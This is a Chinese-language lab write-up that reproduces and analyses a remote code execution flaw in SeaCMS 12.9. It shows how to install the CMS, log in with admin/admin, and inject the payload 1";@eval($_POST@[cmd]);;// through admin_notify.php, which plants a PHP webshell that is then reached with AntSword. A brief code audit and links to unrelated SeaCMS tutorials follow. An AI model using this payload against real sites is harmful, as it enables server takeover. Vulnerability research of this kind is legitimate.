海洋cmsSeaCMS海洋影视管理系统远程代码执行漏洞复现
Ⅰ、环境搭建
首先搭建靶场环境
我们需要提前准备好一个正常使用的小皮面板
然后我们把提前准备好的压缩包解压出来并且放置到小皮面板的网站目录下
我的小皮面板服务目录在C:\phpstudy_pro\WWW
然后把刚刚的某洋cms放置到www目录下
然后我们可以通过网页来进行访问然后安装,我的ip是192.168.1.57
所以就去到http://192.168.1.57/SeaCMS_12.9/Upload/install/index.php这个文件来进行安装操作,打开此url会出现下面的界面,然后点击右下角的开始
直接同意
信息无误后点击下一步
下一步之后就需要我们填写数据库密码了,其他如果小皮没有变化就直接不管
点击下一步即可看见安装完成
Ⅱ、漏洞复现
接下来正式开始复现
http://192.168.212.133/SeaCMS_12.9/Upload/s2bj3v
1
首先我们去到http://192.168.1.57/SeaCMS_12.9/Upload/ew6sv/这个文件目录
因为我们是直接在这里安装的,保存了我们的cookie所以我们就直接进来了,如果没有直接进来也不要紧,直接弱密码账户admin 密码admin就行了
注意ew6sv这个目录是上图自动生成的
然后我们可以直接去到
http://192.168.1.57/SeaCMS_12.9/Upload/ew6sv/admin_notify.php
1
这个地址下的admin_notify.php文件
然后我们只需要在这里输入
1";@eval($_POST@[cmd]);;//
1
然后下面的随便填,就像这样子
点击确认
确认后我们去到
http://192.168.1.57/SeaCMS_12.9/Upload/data/admin/notify.php
这个位置,这里便是我们刚刚写入马子的位置
直接打开蚁剑就可以直接正向连接了
Ⅲ、漏洞分析
然后是代码审计
我们可以分别看一下这俩php文件到底发生了什么导致了RCE
首先是他以写模式打开了
http://192.168.1.57/SeaCMS_12.9/Upload/data/admin/notify.php
这个地方的notify.php文件然后把内容拼接了上去,但是并没有检查拼接的字符串中是否存在特殊字符,而直接进去了
然后我们看一下写入的内容
很明显我们输入的双引号把变量前面的内容给闭合了,然后后面有双斜杠直接注释了后方的内容,所以就导致了我们利用蚁剑来正向shell
————————————————
更多文章
-
海洋cms模板标签大全(收藏级)
海洋cms以其免费开源、采集功能强大著称,吸引了越来越影视站长。那么在使用海洋cms过程中,模板标签是必须要掌握的。下面是整理的海洋cms模板标签大全,对于做站朋友,一定有用,赶快收藏起来吧!海洋cms模板标签目录00.相关必要说明 01.全局标签 02.自定义标签 03.if标签和嵌套if标签subif(支持php语句、多e
-
海洋cms模板更换及安装教程
很多刚使用海洋cms站长朋友,不知道如何更换模板及安装,下面就详细的图文教程,快来学习! 第一步,从免费海洋cms模板下载网站(http://www.dongliancnc.com),选择喜好的模板并下载,特别说明都是人工测试过的模板,保证使用哦。 第二步,将模板压缩包,上传文件到网站templets目录下
-
海洋cms海洋默认模板首页banner是更具什么来推荐生成的
用的是海洋的默认模板,请问各位老大, 首页banner是更具什么来推荐生成的,我试了把点击数量调大, 但是并不是都进入了首页的banner里,不知道是受什么影响的 解决方法: 每个模板都不一样,根据模板实际调用的内容来决定。 一般情况下是根据星级。 配合模板标签检查
-
海洋cms安装引导连不上数据库
使用虚拟主机安装的海洋cms,根据安装包内伪静态规则记载“** IIS和Apache的伪静态规则后台直接自动生成” 虚拟主机应使用Apache的伪静态且自动生成,但安装引导一直提示数据库连接失败,已查证数据库信息无误 解决方法: 数据库连接失败,肯定还是你的数据库信息填写有问题。找idc核实下
-
海洋cmscentos7宝塔自动采集报错
/www/server/cron/accbb9db7a4fb6706e8a35c927af770d: line 12: web_site: command not found /www/server/cron/accbb9db7a4fb6706e8a35c927af770d: line 15: